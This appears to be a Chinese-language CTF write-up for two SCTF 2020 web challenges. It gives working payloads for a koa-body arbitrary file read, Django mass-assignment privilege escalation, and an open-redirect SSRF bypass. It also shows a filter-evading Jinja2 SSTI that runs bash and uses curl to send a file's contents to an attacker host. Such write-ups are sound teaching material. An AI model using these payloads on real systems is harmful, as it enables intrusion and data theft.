SCTF 2020 Web Writeup

做 ASISCTF 结果把 SCTF 咕咕咕了,其实感觉 SCTF 的题还算不错的,这里丢 CloudDisk 和 JsonHub 两个 Web 题的 wp

(打了这两场感觉做题思维太死了,我好菜啊

CloudDisk

喜闻乐见的 js 题,终于有不用 var 声明变量的 js 题了,感动(什么时候能改一下 2 格缩进?

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "?"

app.use(koaBody({
  multipart: true,
  formidable: {
      maxFileSize: 2000 * 1024 * 1024 
  }
}));

router.post('/uploadfile', async (ctx, next) => {
    const file = ctx.request.body.files.file;
    const reader = fs.createReadStream(file.path);
    let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
    let filePath = path.join(__dirname, 'upload/') + fileId
    const upStream = fs.createWriteStream(filePath);
    reader.pipe(upStream)
    return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  });

router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "SCTF{no_such_file_~}"
  }
});

router.get('/', async (ctx, next) => {
  ctx.response.type = 'html';
  ctx.response.body = fs.createReadStream('index.html');

});

app.use(router.routes());
app.listen(3333, () => {
  console.log('This server is running at port: 3333')
})

看起来很正常,没啥毛病,题目还给了一个教程链接:1.【链接】Koa框架教程 http://www.ruanyifeng.com/blog/2017/08/koa.html

题目没有给 package.json,不知道包版本,这里直接安装最新的,然后跑起来一上传可以看到报错了

Uncaught TypeError: Cannot read property 'file' of undefined

但是题目却是好的,这里有点迷惑。之前做 Koa 开发似乎也发生过类似情况,于是我们去搜一下,找到了个这个玩意 https://github.com/dlau/koa-body/issues/75

顺手去题目给的链接搜了一下,发现其实已经有人说了 http://www.ruanyifeng.com/blog/2017/08/koa.html#comment-393740

PS:阮老师,最近在学习您的教程,上面的教程有个问题(官方有改了一些东西)

(((使用koa-body 完成文件上传)))

您是使用ctx.request.body.files

官方为了安全,在koa-body新版本中采用ctx.request.files获取上传的文件

那么问题就很明显了,我们把 Content-Type 直接改成 application/json,是完全没有问题的

然后 reader.pipe(upStream) 就会读取我们传进去的文件,写到 uploads 里面

最后 payload:

POST /uploadfile

Content-Type: application/json

{"files":{"file":{"name":"aaa","path":"/proc/self/cwd/flag"}}}

-> bbdb323805716cc6ddc25f2f8ba9c070
GET /downloadfile/bbdb323805716cc6ddc25f2f8ba9c070

-> SCTF{xxx}

之前还以为是依赖库有洞来着,现在发现做题不能思维太僵硬

JsonHub

这道题没有按时解出来(凌晨大脑不太正常,白丢了一个 flag,哭哭

出题人给出了全部源码,所以是一个审计题,本地搭环境也很方便

Web 1

题目给的附件有个文件非常的迷惑:requirements.txt

仔细看一眼就可以发现,出了 Django 以外,其他都几乎是最新版本

Django==2.0.7 这个版本已经是几年前的了,我们去 snyk.io 上去搜一哈康康,可以找到这个 CVE:CVE-2018-14574

似乎一下没看出来有啥用,后面再说

看一下主逻辑,代码也很短,登陆把传进来的 json 解析成 dict 然后传给 authenticate,注册把传进来的 json 解析成 dict 传给 create_user

其实,上次川内安恒杯也出了一个这种题,不过是 Spring Boot。问题就是出在注册里

try:
    data = json.loads(request.body)
except ValueError:
    return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

# ...

User.objects.create_user(**data)

可以看到,注册是把传进来的 json 直接解析成 dict 全部传给 create_user,于是这里就产生了一个问题:Mass assignment

具体也不细说了(x),我们本地用 manager.py 创建一个管理员账户,看一下结构是啥样的:

(venv) ➜  web1 python3 manage.py  createsuperuser --username=admin [email protected]
(venv) ➜  web1 mysql
MariaDB [django]> select * from auth_user;
+----+--------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
| id | password                                                                       | last_login | is_superuser | username | first_name | last_name | email           | is_staff | is_active | date_joined                |
+----+--------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
|  1 | pbkdf2_sha256$100000$RiIvUHKTHBCY$YwhG2SKgJmySOPOHCDmadSJ5Sn48KqeL0lutO4kaC/g= | NULL       |            1 | admin    |            |           | [email protected] |        1 |         1 | 2020-07-05 17:22:06.654396 |
|  2 | pbkdf2_sha256$100000$nbLLSPJRvY3y$y9rPuu34K+ON7UZ9IGUCNChjP/7kUJe3iVDYCBh7U58= | NULL       |            1 | aaaaa    |            |           |                 |        1 |         1 | 2020-07-05 17:23:04.239755 |
+----+--------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
2 rows in set (0.000 sec)

这样来看,我们直接给服务器多传几个 field 就可以了:

POST /reg/
Content-Type: application/json;charset=UTF-8

{"username":"adminadminadmin","password":"adminadminadmin","is_superuser":1,"is_staff":1,"is_active":1}

这样,我们就注册拿到了一个管理员账户,登陆进 /admin 里面即可拿到 token

然后我们再看 /rpc/ 的逻辑很明显不允许我们直接访问了,我们看下 /home/ 的逻辑

data = json.loads(request.body)
# ...
if ssrf_check(data["url"], white_list):
    return JsonResponse({"code": -1, "message": "Hacker!"})
else:
    res = requests.get(data["url"], timeout=1)

看一眼 ssrf_check 的逻辑

def ssrf_check(url ,white_list):
    for i in range(len(white_list)):
           if url.startswith("http://" + white_list[i] + "/"):
                return False
    return True

这里就限的很死了,必须要 http://39.104.19.182/ 开头,我觉得这里应该是没办法绕掉了

那么怎么 SSRF 请求那个 /rpc/ 呢?前面看到的那个 CVE 就有用了。我们去请求 http://39.104.19.182//127.0.0.1:8000/rpc ,因为 requests 自动跟随 302 跳转,可以看到自动请求了 http://127.0.0.1:8000/rpc/(具体成因此处不再分析了,网上有很多现成的分析资料)

那么,我们就绕掉了 SSRF,可以正常去请求 /rpc/ 来访问 Web2 了

可以用这个 payload 试试:

{"token":"3ad9af405504233188f694a11ff22115","url":"http://39.104.19.182//127.0.0.1:8000/rpc?methods=GET&url=http:%2f%2f127.0.0.1:5000%2fadmin"}

Web 2

Flask,很明显有一个 SSTI 的点:(出题人四级过了嘛?)

def caculator():
    try:
        data = request.get_json()
    except ValueError:
        return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
    num1 = str(data["num1"])
    num2 = str(data["num2"])
    symbols = data["symbols"]
    if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
        return json.dumps({"code": -1, "message": "?"})

    return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

但是有 WAF 挡住了字符串 {{}}{%%}

没办法 SSTI 了吗?JSON 是个神奇的东西:https://www.json.org/json-zh.html

可以看到,JSON 支持 \uxxxx unicode 转义字符的,这样我们就可以绕过 before_request 的限制了

测试一下:

{"num1":"\u007B\u007B 1+2 \u007D\u007D","num2":"#","symbols":"+"}

OK,那么问题来了,绕过了 before_request 的限制,还有一个正则:

if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
    return json.dumps({"code": -1, "message": "?"})

我们不可以在 num1 中传入 a-zA-Z 这些字符

这里可以用 unicode 字符来绕过吗?这里不行,因为在 data = request.get_json() 的时候,字符串实际值就已经被转义了

这里有一种 python 的 8 进制转义字符Python Doc literals(射射 yyp):

>>> str('\114')
'L'
>>>

当我们传进去一个 \\114 时,模版渲染就会将其转义回来,这样我们就构造出字符串了

但是有字符串和能执行有这天壤之别,例如:{{ aaa }}{{ 'aaa' }}

于是我在这里卡了很久,最后我才发现了 Jinjia2 的一个蛇皮模版渲染问题:{{ { }['__class__'] }} 是没有问题的,但是正常 python 语句报错了:

>>> {}['__class__']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
KeyError: '__class__'
>>>

不管了,这样的话我们就可以直接用 Jinjia2 模版来沙箱逃逸执行命令了:

{{ { }['__class__']['__mro__'][1]['__subclasses__']()[114514]() }}

当然,这里我们找 subprocess.Popen 这个方法来命令执行。由于没办法 .read(),我们需要把命令执行结果给带出来,直接用 curl 即可

由于不太清楚 python 那个转义字符怎么弄,干脆打了一个表:

let table = {};
for(let i = 0; i < 26; i++){
    table[String.fromCharCode(97 + i)] = [141, 142, 143, 144, 145, 146, 147, 150, 151, 152, 153, 154, 155, 156, 157, 160, 161, 162, 163, 164, 165, 166, 167, 170, 171, 172][i];
}

function fuck(str) {
    let tmp = "";
    for(let i = 0; i < str.length; i++) {
        tmp += "\\\\" + table[str[i]];
    }
    return tmp;
}

Update:转换脚本

def fuck(str):
    tmp = ""
    for i in str:
        if 65 <= ord(i) <=90 or 97 <= ord(i) <= 122:
            tmp += "\\%o" % ord(i)
        else:
            tmp += i
    return tmp

然后就是慢慢找 subprocess.Popen 的索引,这里我们找到的是 409,然后直接传数组进去执行命令即可。因为是 Popen,我们用 bash 来构造:

['bash', '-c', 'curl ip:port/`/readflag` ']

打表出来最终 payload 就是:

{"num1":"\u007B\u007B {}['__\\143\\154\\141\\163\\163__']['__\\155\\162\\157__'][1]['__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__']()[409](['/\\142\\151\\156/\\142\\141\\163\\150','-\\143','\\143\\165\\162\\154 ip:port/`/\\162\\145\\141\\144\\146\\154\\141\\147`']) \u007D\u007D","num2":"#","symbols":"+"}

然后 base64 丢给 Django 的接口即可:

{"token":"3ad9af405504233188f694a11ff22115","url":"http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http:%2f%2f127.0.0.1:5000%2fcaculator&data=payload"}

其实做完以后感觉,这道题还是挺有意思的

总结

为啥感觉 SCTF 的 Web 要比 ASISCTF 有意思多了,呜呜(早知道做 SCTF 了)

发表评论

发表回复

*

沙发空缺中,还不快抢~